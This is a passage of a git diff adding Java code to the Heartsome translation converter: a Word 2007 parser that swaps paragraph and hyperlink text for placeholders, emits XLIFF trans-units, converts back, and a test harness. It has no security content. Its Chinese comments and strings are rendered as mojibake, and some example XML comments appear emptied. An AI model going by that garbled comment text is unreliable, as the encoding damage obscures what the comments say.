节点的样å¼ï¼Œé™åˆ¶ï¼šå½“å‰ vn 所处地点必须为 w:p + * @param vn + * @return + */ + protected String getPStyle() throws Exception { + String style = null; + vn.push(); + otherAP.selectXPath("./w:pPr/w:rPr"); + while (otherAP.evalXPath() != -1) { + style = vu.getElementFragment(); + } + vn.pop(); + return style; + } + + /** + * 获å–一个文本段的格å¼ï¼Œé™åˆ¶ï¼šå½“å‰çš„ vn 所处地点必须为 w:r + * @return + * @throws Exception + */ + protected String getRStyle() throws Exception { + String style = null; + vn.push(); + otherAP.selectXPath("./w:rPr"); + while (otherAP.evalXPath() != -1) { + style = vu.getElementFragment(); + } + vn.pop(); + return style; + } + + /** + * 获å–一个 w:r 节点除样å¼(w:rPr)与文本(w:t)之外的其他结点 + * @return + * @throws Exception + */ + protected String getExtendNodes() throws Exception { + String extendNodesStr = null; + StringBuffer extendNodesSB = new StringBuffer(); + vn.push(); + otherAP.selectXPath("./node()[name()!='w:rPr' and name()!='w:t']"); + while (otherAP.evalXPath() != -1) { + extendNodesSB.append(vu.getElementFragment()); + } + vn.pop(); + extendNodesStr = extendNodesSB.toString(); + return extendNodesStr; + } + + /** + * 获å–一个 w:r 节点里é¢çš„文本值。针对于 w:p/w:r/w:t + * @return + * @throws Exception + */ + protected String getText() throws Exception { + String nodeName = vn.toRawString(vn.getCurrentIndex()); + if ("w:fldSimple".equals(nodeName)) { + return null; + } + if ("w:hyperlink".equals(nodeName)) { + if (vn.getAttrVal("w:anchor") != -1) { + return null; + } + } + + + StringBuffer textSB = new StringBuffer(); + vn.push(); + otherAP.selectXPath("./descendant::w:t/text()"); + while (otherAP.evalXPath() != -1) { + textSB.append(vn.toRawString(vn.getCurrentIndex())); + } + vn.pop(); + if (textSB.length() <= 0) { + return null; + } + + return textSB.toString(); + } + +// + // + // + // + // + // + // www.baidu. + // + // + // + // + // + // + // + // com + // +// + /** + * 获å–链接的特殊文本
    + * 备注:上é¢æ˜¯ä¸€ä¸ªå…³äºŽã€€w:hyperlink 的例å­ï¼Œè¿™æ—¶ï¼Œä¸€ä¸ªã€€w:hyperlink 就当作一个 g 标记进行处ç†ã€‚那么,它的特列文本 就是其应æå–的所有内容,ä¸å•æŒ‡ "www.baidu.com",而是 3 个 w:r 节点。
    + * 若当å‰èŠ‚点中åªæœ‰ä¸€ä¸ªã€€w:r 节点,那么ä¸äºˆè€ƒè™‘。返回 null, 若有多个 w:r 节点,那将它们拼接æˆã€€sub 与 ph 标记组åˆçš„文本,当作 特殊文本进行返回。 + * @return + */ + private String getLinkText() throws Exception{ + vn.push(); + String curLinkText = null; + int rNodeCount = getNodeCount("./w:r"); + if (rNodeCount == 1) { + return curLinkText; + } + + List segList = new LinkedList(); + extendAP.selectXPath("./node()"); + while(extendAP.evalXPath() != -1){ + String rStyle = getRStyle(); + String text = ""; + String extendNodesStr = getExtendNodes(); + + int tNodeCount = getNodeCount("./w:t"); + // 有 t èŠ‚ç‚¹çš„ï¼Œå°±ä¸€å®šæœ‰æ•°æ® + if (tNodeCount == 1) { + text = getText(); + // extendNodesAttr 这个属性是自定义的,专门针对于除样å¼ä¸Žæ–‡æœ¬ä¹‹å¤–的其他节点,如 + String extendNodesAttr = ("".equals(extendNodesStr) || extendNodesStr == null) ? "" + : " extendNodes='"+ xlfOutput.cleanString(extendNodesStr) +"'"; + // rprAttr 这个是ä¿å­˜ rpr 属性的。rpr属性是用于ä¿å­˜ w:r æ ·å¼ã€‚ + String rprAttr = ("".equals(rStyle) || rStyle == null) ? "" + : " rPr='" + xlfOutput.cleanString(rStyle) + "'"; + segList.add(new SectionSegBean(null, text, rprAttr, extendNodesAttr, null)); + }else { + String phTagStr = vu.getElementFragment(); + segList.add(new SectionSegBean(null, null, null, null, xlfOutput.cleanString(phTagStr))); + } + } + vn.pop(); + StringBuffer specialTextSB = new StringBuffer(); + + + SectionSegBean bean; + for (int i = 0; i < segList.size(); i++) { + bean = segList.get(i); + String style = bean.getStyle() == null ? "" : bean.getStyle(); + String extendNodes = bean.getExtendNodesStr() == null ? "" : bean.getExtendNodesStr(); + if (("".equals(style)) && ("".equals(extendNodes)) && bean.getPhTagStr() == null) { + specialTextSB.append(bean.getText()); + }else if (bean.getPhTagStr() == null) { + specialTextSB.append(""); + specialTextSB.append(bean.getText()); + // 判断下一个是å¦æ ·å¼ä¸Žæ‰©å±•èŠ‚点的内容都相åŒï¼Œè‹¥ç›¸åŒï¼Œå°±ç»„装æˆä¸€ä¸ªg标记 + while(i + 1 < segList.size()){ + bean = segList.get(i +1); + String curStyle = bean.getStyle() == null ? "" : bean.getStyle(); + String curExtendNodes = bean.getExtendNodesStr() == null ? "" : bean.getExtendNodesStr(); + // 当两个的 ctype 都为空时,æ‰èƒ½è¿›è¡Œæ‹¼æŽ¥ï¼Œå› ä¸º ctype 多åŠä¸º + if (curStyle.equals(style) && curExtendNodes.equals(extendNodes)) { + specialTextSB.append(bean.getText()); + i++; + }else { + break; + } + } + specialTextSB.append(""); + }else { + String phTagStr = bean.getPhTagStr(); + if (!"".equals(phTagStr.trim())) { + specialTextSB.append(""); + specialTextSB.append(phTagStr); + while(i + 1 < segList.size()){ + bean = segList.get(i +1); + if (bean.getPhTagStr() != null) { + specialTextSB.append(bean.getPhTagStr()); + i++; + }else { + break; + } + } + specialTextSB.append(""); + } + } + } + curLinkText = specialTextSB.toString(); + if (curLinkText.length() == 0) { + curLinkText = null; + } + return curLinkText; + } + + /** + * 获å–节点 w:t 的个数,如果个数为1,就ä¸éœ€è¦ç²¹å–标记 + * @return + * @throws Exception + */ + protected int getTextCount() throws Exception { + int textCount = -1; + otherAP.selectXPath("count(./node()[(name()='w:r' or name()='w:hyperlink') and not(@w:anchor) and not(descendant::node()[name()='w:p'])]//w:t)"); + textCount = (int) otherAP.evalXPathToNumber(); + return textCount; + } + + + /** + * 获å–æŸä¸ªèŠ‚点的数é‡ï¼Œ + * @param xpath 如 ./w:r/w:t + * @return + * @throws Exception + */ + private int getNodeCount(String xpath) throws Exception{ + vn.push(); + int nodeCount = -1; + otherAP.selectXPath("count(" + xpath + ")"); + nodeCount = (int) otherAP.evalXPathToNumber(); + vn.pop(); + return nodeCount; + } + + /** + * 将纯文本段更新æˆå ä½ç¬¦ï¼Œæ¯”如将文本段 ä¸­çš„â€œæ–‡æœ¬æ®µâ€ æ›´æ–°æˆ %%%?%%% + */ + protected void updateTextToPlaceHoder(String placeHolderStr) throws Exception { + // 如果是特殊节点,并且ä¸ä¸ºç©ºï¼Œé‚£ä¹ˆç›´æŽ¥åˆ é™¤ï¼Œå¹¶æ·»åŠ è¿›å ä½ç¬¦ + if (isLink && linkText != null) { + xm.remove(); + String nodeName = vn.toString(vn.getCurrentIndex()); + String headStr = vu.getElementHead(); + StringBuffer sb = new StringBuffer(); + sb.append(headStr); + sb.append(placeHolderStr); + sb.append(""); + xm.insertAfterElement(sb.toString()); + }else { + vn.push(); + otherAP.selectXPath("./w:t/text()"); + while (otherAP.evalXPath() != -1) { + xm.updateToken(vn.getCurrentIndex(), placeHolderStr); + } + vn.pop(); + } + } + + /** + * æ ¹æ®ä¸€ä¸ªå ä½ç¬¦ï¼ŒèŽ·å–å…¶å ä½ç¬¦åºåˆ—å·çš„值 + * @param placeHolderStr + * @return + */ + protected String getSegIdFromPlaceHoderStr(String placeHolderStr) { + String segIdStr = null; + int firstPlaceHIdx = placeHolderStr.indexOf("%%%"); + segIdStr = placeHolderStr.substring(firstPlaceHIdx + 3, placeHolderStr.indexOf("%%%", firstPlaceHIdx + 1)); + return segIdStr.trim(); + } + + /** + * æ ¹æ®å¤šä¸ªå ä½ç¬¦ï¼ŒèŽ·å–其所有的å ä½ç¬¦åºåˆ—å·çš„值,例如 %%%5%%%%%%6%%%%%%7%%% + * @param placeHolderStr + * @return + */ + protected List getAllSegIdsFromPlaceHoderStr(String placeHolderStr) { + List idList = new LinkedList(); + int firstPlaceHIdx = placeHolderStr.indexOf("%%%"); + while(firstPlaceHIdx != -1){ + int endIdx = placeHolderStr.indexOf("%%%", firstPlaceHIdx + 1); + String segIdStr = placeHolderStr.substring(firstPlaceHIdx + 3, endIdx); + idList.add(segIdStr); + firstPlaceHIdx = placeHolderStr.indexOf("%%%", endIdx + 3); + } + return idList; + } + + + /** + * 处ç†å¯ç¿»è¯‘的属性问题,例如 + * @throws Exception + */ + protected void operateTransAttributes(String attrXpath) throws Exception { + ap.selectXPath(attrXpath); + int index = -1; + while(ap.evalXPath() != -1){ + index = vn.getCurrentIndex() + 1; + if (!"".equals(vn.toRawString(index))) { + String placeHoderStr = "%%%" + xlfOutput.useSegId() + "%%%"; + translateAttrMap.put(placeHoderStr, vn.toString(index)); + xm.updateToken(index, placeHoderStr); + } + } + // 如果有修改的属性。那么,将修改的内容ä¿å­˜åˆ°æ–‡ä»¶ï¼Œå†é‡æ–°è§£æžæ–‡ä»¶ã€‚ + if (translateAttrMap.size() > 0) { + xm.output(partPath); + loadFile(nameSpaceMap); + } + } + + /** + * 删除指定字符串的所有空格,因为 trim() 方法无法删除全角字符。 + * @return + */ + public static String deleteBlank(String string){ + return string.replaceAll("[  ]", ""); + } + + + /** + * 分æžæ¯ä¸ª w:p 节点,将è¦ç¿»è¯‘的东西æå–出æ¥ï¼Œç”¨å ä½ç¬¦æ›¿ä»£ã€‚ + * or name()='w:fldSimple' + * @throws Exception + */ + protected void analysisNodeP() throws Exception { + + // 如果这个节点里é¢è¿˜æœ‰ p 节点,那么ä¸è¿›è¡Œå¤„ç† + int textCount = getTextCount(); + int index = -1; + Map sectionSegMap = new TreeMap(); + StringBuffer placeHolderSB = new StringBuffer(); // å ä½ç¬¦ + // 开始处ç†æ¯ä¸ªèŠ‚点的文本 + if (textCount == 1) { + // 如果一个节点里é¢åªæœ‰ä¸€ä¸ª w:r//w:t ,那么直接获å–出内容,如果这个节点里é¢è¿˜æœ‰ p 节点,那么ä¸è¿›è¡Œå¤„ç† + childAP.selectXPath("./node()[(name()='w:r' or name()='w:hyperlink') and not(@w:anchor) and not(descendant::node()[name()='w:p'])]/descendant::w:t/text()"); + vn.push(); + if(childAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + String segment = vn.toRawString(index); + if ("".equals(deleteBlank(segment))) { + vn.pop(); + return; + } + String[] segs = segmenter.segment(segment); + for(String seg : segs){ + // ç”Ÿæˆ trans-unit 节点 + placeHolderSB.append(xlfOutput.addTransUnit(seg)); + } + xm.updateToken(index, placeHolderSB.toString()); + } + vn.pop(); + }else if (textCount > 1) { // 没有 w:/t 节点的段è½ï¼Œä¸è¿›è¡Œå¤„ç†ã€‚如果这个节点里é¢è¿˜æœ‰ p 节点,那么ä¸è¿›è¡Œå¤„ç† + + vn.push(); + // 先获å–出这个段è½é‡Œæ‰€æœ‰è¦ç¿»è¯‘çš„æ•°æ®ï¼Œå†åˆ†æ®µ + StringBuffer segSB = new StringBuffer(); + childAP.selectXPath("./node()[(name()='w:r' or name()='w:hyperlink') and not(@w:anchor) and not(descendant::node()[name()='w:p']) and descendant::w:t/text()!='']"); + while(childAP.evalXPath() != -1){ + segSB.append(getText()); + } + if (deleteBlank(segSB.toString()).length() <= 0) { + vn.pop(); + return; + } + +// System.out.println("segSB.toString() =" + segSB.toString()); +// if (segSB.toString().indexOf("Heartsome 技术支æŒæœåŠ¡ä¸æ”¶å–任何费用。") != -1) { +// System.out.println("错误信æ¯å¼€å§‹äº†ã€‚。。。。"); +// } + vn.pop(); + // 开始分割文本段 + String[] segArray = segmenter.segment(segSB.toString()); + + // 开始é历æ¯ä¸ªèŠ‚点 ./node()ï¼Œè¿›è¡Œå¤„ç† + vn.push(); + childAP.selectXPath("./node()"); +// StringBuffer tuSB = new StringBuffer(); + boolean segStart = false; // 一个文本段的开始 + boolean segOver = false; // 一个文本段结æŸçš„标记 + int segIdx = 0; + String seg = segArray[segIdx]; + while(childAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + isLink = false; + linkText = null; + + String nodeName = vu.getCurrentElementName(); + if ("w:r".equals(nodeName) || "w:hyperlink".equals(nodeName) || "w:fldSimple".equals(nodeName)) { + if ("w:hyperlink".equals(nodeName)) { + isLink = true; + linkText = getLinkText(); + } + + String text = getText(); + if (text != null) { + segStart = true; + segOver = false; + String ctypeAttrStr = ""; + String rStyle = null; + String extendNodesStr = null; + + if (isLink) { + ctypeAttrStr = " ctype='" + xlfOutput.cleanString(vu.getElementHead()) + "'"; + vn.push(); + extendAP.selectXPath("./w:r"); + // å–第一个 w:r 节点的 属性,这ç§æƒ…况针对 特殊 节点中åªæœ‰ä¸€ä¸ªã€€w:t 的情况, + // 如果 linkText ä¸ä¸ºç©ºçš„è¯ï¼Œå°±ä¸ç”¨èŽ·å– rStyle 与 extendNodesStr 属性了 + if (linkText == null && extendAP.evalXPath() != -1) { + rStyle = getRStyle(); + extendNodesStr = getExtendNodes(); + } + vn.pop(); + }else { + rStyle = getRStyle(); + extendNodesStr = getExtendNodes(); + } + + // extendNodesAttr 这个属性是自定义的,专门针对于除样å¼ä¸Žæ–‡æœ¬ä¹‹å¤–的其他节点,如 + String extendNodesAttr = ("".equals(extendNodesStr) || extendNodesStr == null) ? "" + : " extendNodes='"+ xlfOutput.cleanString(extendNodesStr) +"'"; + // rprAttr 这个是ä¿å­˜ rpr 属性的。rpr属性是用于ä¿å­˜ w:r æ ·å¼ã€‚ + String rprAttr = ("".equals(rStyle) || rStyle == null) ? "" + : " rPr='" + xlfOutput.cleanString(rStyle) + "'"; + + // 如果当å‰æ–‡æœ¬æ˜¯ä¸€ä¸ªç‹¬ç«‹çš„分段,则将其文本用å ä½ç¬¦æ›¿æ¢ã€‚ + if (text.equals(segArray[segIdx])) { + String placeHoderStr = ""; + if (isLink && linkText != null) { + placeHoderStr = xlfOutput.addTransUnit(linkText); + }else { + placeHoderStr = xlfOutput.addTransUnit(seg); + } + updateTextToPlaceHoder(placeHoderStr); + if (segIdx + 1 < segArray.length) { + seg = segArray[++segIdx]; + } + + segOver = true; + segStart = false; + continue; + } + + // 链接ä¸åº”支æŒåˆ†æ®µï¼ŒçŽ°å¼€å§‹åˆ†æž + if (isLink) { + List resultList = modifySeg(segArray, segIdx, text, seg); + segArray = (String[]) resultList.get(0); + seg = (String) resultList.get(1); + } + + + // 分æžåˆ†å‰²åŽçš„文本段 + if (text.equals(seg)) { + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + // åªæ·»åŠ çº¯æ–‡æœ¬ + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, rprAttr, extendNodesAttr, null)); + } + if (segIdx + 1 < segArray.length) { + seg = segArray[++segIdx]; + } + segOver = true; + segStart = false; + xm.remove(); + String placeHoderStr = xlfOutput.addTransUnit(createSourceStr(sectionSegMap)); + xm.insertAfterElement(placeHoderStr); + }else if (text.length() < seg.length() && seg.indexOf(text) == 0 ) { // 如果当å‰æ–‡æœ¬é•¿åº¦å°äºŽåˆ†æ®µé•¿åº¦ + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, rprAttr, extendNodesAttr, null)); + } + xm.remove(); + // 在替æ¢æœ‰ "(" 的情况。必须加一个 \\( 或者 [(],å¦åˆ™ä¼šæŠ¥é”™ + seg = seg.substring(text.length()); + }else if (text.length() > seg.length() && text.indexOf(seg) == 0) { + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, seg, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, seg, rprAttr, extendNodesAttr, null)); + } + text = text.substring(seg.length()); + // 由于这里有å¯èƒ½è¦æ’入多个å ä½ç¬¦ï¼Œæ‰€ä»¥è¦æŠŠæ‰€æœ‰çš„å ä½ç¬¦æ”¾åˆ°ä¸€èµ·ï¼Œä¸€æ¬¡æ€§å­˜å…¥ï¼Œå› ä¸º xmlModifial ä¸å…许在åŒä¸€ä¸ªåœ°æ–¹ä¿®æ”¹å¤šæ¬¡ã€‚ + StringBuffer replaceHolderSB = new StringBuffer(); + replaceHolderSB.append(xlfOutput.addTransUnit(createSourceStr(sectionSegMap))); + xm.remove(); + if (segIdx + 1 < segArray.length) { + seg = segArray[++segIdx]; + } + + // 开始处ç†å‰©ä¸‹çš„文本 + while(text.length() != 0){ + if (text.equals(seg)) { + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, rprAttr, extendNodesAttr, null)); + } + text = ""; + segOver = true; + segStart = false; + replaceHolderSB.append(xlfOutput.addTransUnit(createSourceStr(sectionSegMap))); + if (segIdx + 1 < segArray.length) { + seg = segArray[++segIdx]; + } + }else if (text.length() < seg.length() && seg.indexOf(text) == 0) { + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, text, rprAttr, extendNodesAttr, null)); + } + seg = seg.substring(text.length()); + text = ""; + }else if (text.length() > seg.length() && text.indexOf(seg) == 0) { + if ("".equals(rprAttr) && "".equals(extendNodesAttr)) { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, seg, null, null, null)); + }else { + sectionSegMap.put(index, newSectionSegBean(ctypeAttrStr, seg, rprAttr, extendNodesAttr, null)); + } + text = text.substring(seg.length()); + replaceHolderSB.append(xlfOutput.addTransUnit(createSourceStr(sectionSegMap))); + if (segIdx + 1 < segArray.length) { + seg = segArray[++segIdx]; + } + } + } + xm.insertAfterElement(replaceHolderSB.toString()); + } + }else if(segStart && !segOver){ + sectionSegMap.put(index, new SectionSegBean(null, null, null, null, + xlfOutput.cleanString(vu.getElementFragment()))); + xm.remove(); + } + }else if(segStart && !segOver){ + sectionSegMap.put(index, new SectionSegBean(null, null, null, null, + xlfOutput.cleanString(vu.getElementFragment()))); + xm.remove(); + } + } + vn.pop(); + } + } + + /** + * 针对特殊情况,w:hyperlink 里é¢çš„文本 ä¸åº”分段,故将ä¸åº”分段的进行åˆå¹¶ + * @param segArray + * @param segIdx + * @param text + * @return + */ + private List modifySeg(String[] segArray, int segIdx, String text, String seg){ + List segList = new ArrayList(); + int start = segArray[segIdx].lastIndexOf(seg); + StringBuffer temSB = new StringBuffer(); + segFor:for(int i = 0; i < segArray.length; i++){ + if (i < segIdx) { + segList.add(segArray[i]); + }else if (i == segIdx) { + if (text.length() != 0) { + temSB.append(segArray[i]); + if (text.indexOf(seg) != -1) { + text = text.substring(seg.length(), text.length()); + }else if(seg.indexOf(text) != -1){ + text = ""; + } + }else { + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + for(int j = i; j < segArray.length; j ++){ + segList.add(segArray[j]); + } + break segFor; + } + }else { + if (text.length() != 0) { + temSB.append(segArray[i]); + if (text.indexOf(segArray[i]) != -1) { + text = text.substring(segArray[i].length(), text.length()); + }else if(segArray[i].indexOf(text) != -1){ + text = ""; + } + }else { + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + for(int j = i; j < segArray.length; j ++){ + segList.add(segArray[j]); + } + break segFor; + } + } + + } + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + + segArray = segList.toArray(new String[]{}); + seg = segArray[segIdx].substring(start, segArray[segIdx].length()); + + List resultList = new ArrayList(); + resultList.add(segArray); + resultList.add(seg); + + return resultList; + } + + + /** + * 根æ®å…·ä½“情况创建 sectionSegBean + */ + private SectionSegBean newSectionSegBean(String ctype, String text, String style, String extendNodesStr, String phTagStr){ + SectionSegBean bean = null; + if (isLink) { + if (linkText == null) { + bean = new SectionSegBean(ctype, text, style, extendNodesStr, phTagStr); + }else { + bean = new SectionSegBean(ctype, linkText, null, null, null); + } + }else { + bean = new SectionSegBean(ctype, text, style, extendNodesStr, phTagStr); + } + + return bean; + } + + /** + * 通过sectionSegMap生æˆè¦æ·»åŠ åˆ° trans-unit 节点的æºæ–‡æœ¬ + * @param sectionSegMap + * @return + */ + private String createSourceStr(Map sectionSegMap) { + List segList = new LinkedList(); + for(Entry entry : sectionSegMap.entrySet()){ + segList.add(entry.getValue()); + } + + StringBuffer srcTextSB = new StringBuffer(); + SectionSegBean bean = null; + for (int i = 0; i < segList.size(); i++) { + bean = segList.get(i); + String ctype = bean.getCtype() == null ? "" : bean.getCtype(); + String style = bean.getStyle() == null ? "" : bean.getStyle(); + String extendNodes = bean.getExtendNodesStr() == null ? "" : bean.getExtendNodesStr(); + if (("".equals(ctype) && "".equals(style)) && ("".equals(extendNodes)) && bean.getPhTagStr() == null) { + srcTextSB.append(bean.getText()); + }else if (bean.getPhTagStr() == null) { + srcTextSB.append(""); + srcTextSB.append(bean.getText()); + // 判断下一个是å¦æ ·å¼ä¸Žæ‰©å±•èŠ‚点的内容都相åŒï¼Œè‹¥ç›¸åŒï¼Œå°±ç»„装æˆä¸€ä¸ªg标记 + while(i + 1 < segList.size()){ + bean = segList.get(i +1); + String curCtype = bean.getCtype() == null ? "" : bean.getCtype(); + String curStyle = bean.getStyle() == null ? "" : bean.getStyle(); + String curExtendNodes = bean.getExtendNodesStr() == null ? "" : bean.getExtendNodesStr(); + // 当两个的 ctype 都为空时,æ‰èƒ½è¿›è¡Œæ‹¼æŽ¥ï¼Œå› ä¸º ctype 多åŠä¸º + if (curStyle.equals(style) && curExtendNodes.equals(extendNodes) && "".equals(ctype) && "".equals(curCtype) ) { + srcTextSB.append(bean.getText()); + i++; + }else { + break; + } + } + srcTextSB.append(""); + }else { + String phTagStr = bean.getPhTagStr(); + if (!"".equals(phTagStr.trim())) { + srcTextSB.append(""); + srcTextSB.append(phTagStr); + while(i + 1 < segList.size()){ + bean = segList.get(i +1); + if (bean.getPhTagStr() != null) { + srcTextSB.append(bean.getPhTagStr()); + i++; + }else { + break; + } + } + srcTextSB.append(""); + } + } + } + sectionSegMap.clear(); + return srcTextSB.toString(); + } + + /** + * 逆转æ¢æ—¶å¤„ç† w:p 节点 + * @throws Exception + */ + protected void analysisReversePnode() throws Exception { + vn.push(); + childAP.selectXPath("./text()|node()[name()='w:r' or name()='w:hyperlink' or name()='w:fldSimple']"); + int index = -1; + while(childAP.evalXPath() != -1){ + index = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(index); + + if (tokenType == 0) { // 表示节点å­èŠ‚点 + vn.push(); + + String nodeName = vn.toString(vn.getCurrentIndex()); + String xpath = "./w:t"; + + if ("w:hyperlink".equals(nodeName) || "w:fldSimple".equals(nodeName)) { + // 针对两ç§æƒ…况,一是 %%%0%%% + // 二是 %%%0%%% + xpath = "./w:r/w:t"; + otherAP.selectXPath(xpath); + index = vn.getText(); + if (index != -1) { + String text = vn.toRawString(index); + if (text.indexOf("%%%") != -1) { + List segIdList = getAllSegIdsFromPlaceHoderStr(text); + String tgtStr = xlfInput.getTargetStrByTUId(segIdList, false); + xm.updateToken(index, tgtStr); + } + }else { + if (otherAP.evalXPath() != -1) { + index = vn.getText(); + if (index != -1) { + String text = vn.toRawString(index); + if (text.indexOf("%%%") != -1) { + List segIdList = getAllSegIdsFromPlaceHoderStr(text); + String tgtStr = xlfInput.getTargetStrByTUId(segIdList, true); + xm.remove(); + xm.insertAfterElement("" + tgtStr + ""); + } + } + } + } + }else { + otherAP.selectXPath(xpath); + if (otherAP.evalXPath() != -1) { + index = vn.getText(); + if (index != -1) { + String text = vn.toRawString(index); + if (text.indexOf("%%%") != -1) { + List segIdList = getAllSegIdsFromPlaceHoderStr(text); + String tgtStr = xlfInput.getTargetStrByTUId(segIdList, true); + xm.remove(); + xm.insertAfterElement("" + tgtStr + ""); + } + } + } + } + + vn.pop(); + }else if (tokenType == 5) { // 表示文本å­èŠ‚点 + String placeHolderStr = vn.toRawString(index); + if (placeHolderStr.indexOf("%%%") != -1) { + List segIdList = getAllSegIdsFromPlaceHoderStr(placeHolderStr); + String tgtStr = xlfInput.getTargetStrByTUId(segIdList, false); + xm.updateToken(index, tgtStr); + } + } + } + vn.pop(); + } + + /** + * 逆转æ¢å¤„ç†å¯ç¿»è¯‘属性 + * @param xpath + * @throws Exception + */ + protected void reverseTranslateAttributes(String xpath) throws Exception { + loadFile(nameSpaceMap); + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + String placeHolderStr = vn.toRawString(vn.getCurrentIndex() + 1); + List idList = getAllSegIdsFromPlaceHoderStr(placeHolderStr); + String text = xlfInput.getTargetStrByTUId(idList, true); + xm.updateToken(vn.getCurrentIndex() + 1, text); + } + xm.output(partPath); + } + + public static void main(String[] args) { +// String placeHolderStr = "asd asd fsad %%%5%%%%%%6%%%%%%7%%%dasdfa sdf asd f%%%7%%%"; +// List idList = new LinkedList(); +// int firstPlaceHIdx = placeHolderStr.indexOf("%%%"); +// while(firstPlaceHIdx != -1){ +// int endIdx = placeHolderStr.indexOf("%%%", firstPlaceHIdx + 1); +// System.out.println("endIdx =" + endIdx); +// String segIdStr = placeHolderStr.substring(firstPlaceHIdx + 3, endIdx); +// idList.add(segIdStr); +// System.out.println(segIdStr); +// firstPlaceHIdx = placeHolderStr.indexOf("%%%", endIdx + 3); +// } + + + +// +// +// +// +// +// +// +// +// +// +// go to +// +// +// +// +// +// +// +// www. +// +// +// +// +// +// +// +// this +// +// +// +// +// +// +// is a test. google.com +// +// +// + int segIdx = 0; + String text = "www.this is a test. google.com"; +// String[] segArray = new String[]{"go to www.this is a test. ", "google.comè¿™åŽé¢è¿˜æœ‰å…¶ä»–东西", "第三å—东西"}; + String[] segArray = new String[]{"go to www.this is a test. ", "google.com"}; + String seg = "www.this is a test. "; + List segList = new ArrayList(); + + int start = segArray[segIdx].lastIndexOf(seg); + StringBuffer temSB = new StringBuffer(); + segFor:for(int i = 0; i < segArray.length; i++){ + if (i < segIdx) { + segList.add(segArray[i]); + }else if (i == segIdx) { + if (text.length() != 0) { + temSB.append(segArray[i]); + if (text.indexOf(seg) != -1) { + text = text.substring(seg.length(), text.length()); + }else if(seg.indexOf(text) != -1){ + text = ""; + } + }else { + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + for(int j = i; j < segArray.length; j ++){ + segList.add(segArray[j]); + } + break segFor; + } + }else { + if (text.length() != 0) { + temSB.append(segArray[i]); + if (text.indexOf(segArray[i]) != -1) { + text = text.substring(segArray[i].length(), text.length()); + }else if(segArray[i].indexOf(text) != -1){ + text = ""; + } + }else { + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + for(int j = i; j < segArray.length; j ++){ + segList.add(segArray[j]); + } + break segFor; + } + } + + } + if (temSB.length() != 0) { + segList.add(temSB.toString()); + temSB = new StringBuffer(); + } + + segArray = segList.toArray(new String[]{}); + seg = segArray[segIdx].substring(start, segArray[segIdx].length()); + + for (String str : segArray) { + System.out.println(str); + } + + System.out.println("-----------------"); + System.out.println("seg =" + seg); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/TestWord2007.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/TestWord2007.java new file mode 100644 index 0000000..bba1e4a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/TestWord2007.java @@ -0,0 +1,159 @@ +package net.heartsome.cat.converter.word2007; + +import java.io.File; + +import org.eclipse.core.runtime.NullProgressMonitor; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.word2007.common.PathConstant; +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.common.ZipUtil; +import net.heartsome.cat.converter.word2007.partOper.DocumentPart; +import net.heartsome.cat.converter.word2007.partOper.DocumentRelation; + +public class TestWord2007 { + private XliffOutputer xlfOutput; + public TestWord2007(){} + + public void docx2Xliff(){ + try { +// String inputFile = "/home/robert/Desktop/测试简å•word文档.docx"; +// String inputFile = "/home/robert/Desktop/Word2007 for test.docx"; +// String xliffFile = "/home/robert/workspace/runtime-UltimateEdition.product/testDocxConverter/XLIFF/zh-CN/测试简å•word文档.docx.hsxliff"; +// String sourceLanguage = "en-US"; +// String targetLanguage = "zh-CN"; +// String srx = "/home/robert/workspace/newR8/.metadata/.plugins/org.eclipse.pde.core/UltimateEdition.product/net.heartsome.cat.converter/srx/default_rules.srx"; +// String catalogue = "/home/robert/workspace/newR8/.metadata/.plugins/org.eclipse.pde.core/UltimateEdition.product/net.heartsome.cat.converter/catalogue/catalogue.xml"; + + String inputFile = "C:\\Users\\Administrator\\Desktop\\test word 2007 converter\\测试简å•word文档.docx"; +// String inputFile = "C:\\Users\\Administrator\\Desktop\\test word 2007 converter\\Word2007 for test.docx"; + String xliffFile = "E:\\workspaces\\runtime-UltimateEdition.product\\testWord2007Convert\\XLIFF\\zh-CN\\测试简å•word文档.docx.hsxliff"; + String sourceLanguage = "en-US"; + String targetLanguage = "zh-CN"; + String srx = "E:\\workspaces\\newR8\\.metadata\\.plugins\\org.eclipse.pde.core\\UltimateEdition.product\\net.heartsome.cat.converter\\srx\\default_rules.srx"; + String catalogue = "E:\\workspaces\\newR8\\.metadata\\.plugins\\org.eclipse.pde.core\\UltimateEdition.product\\net.heartsome.cat.converter\\catalogue\\catalogue.xml"; + + StringSegmenter segmenter = new StringSegmenter(srx, sourceLanguage, catalogue); 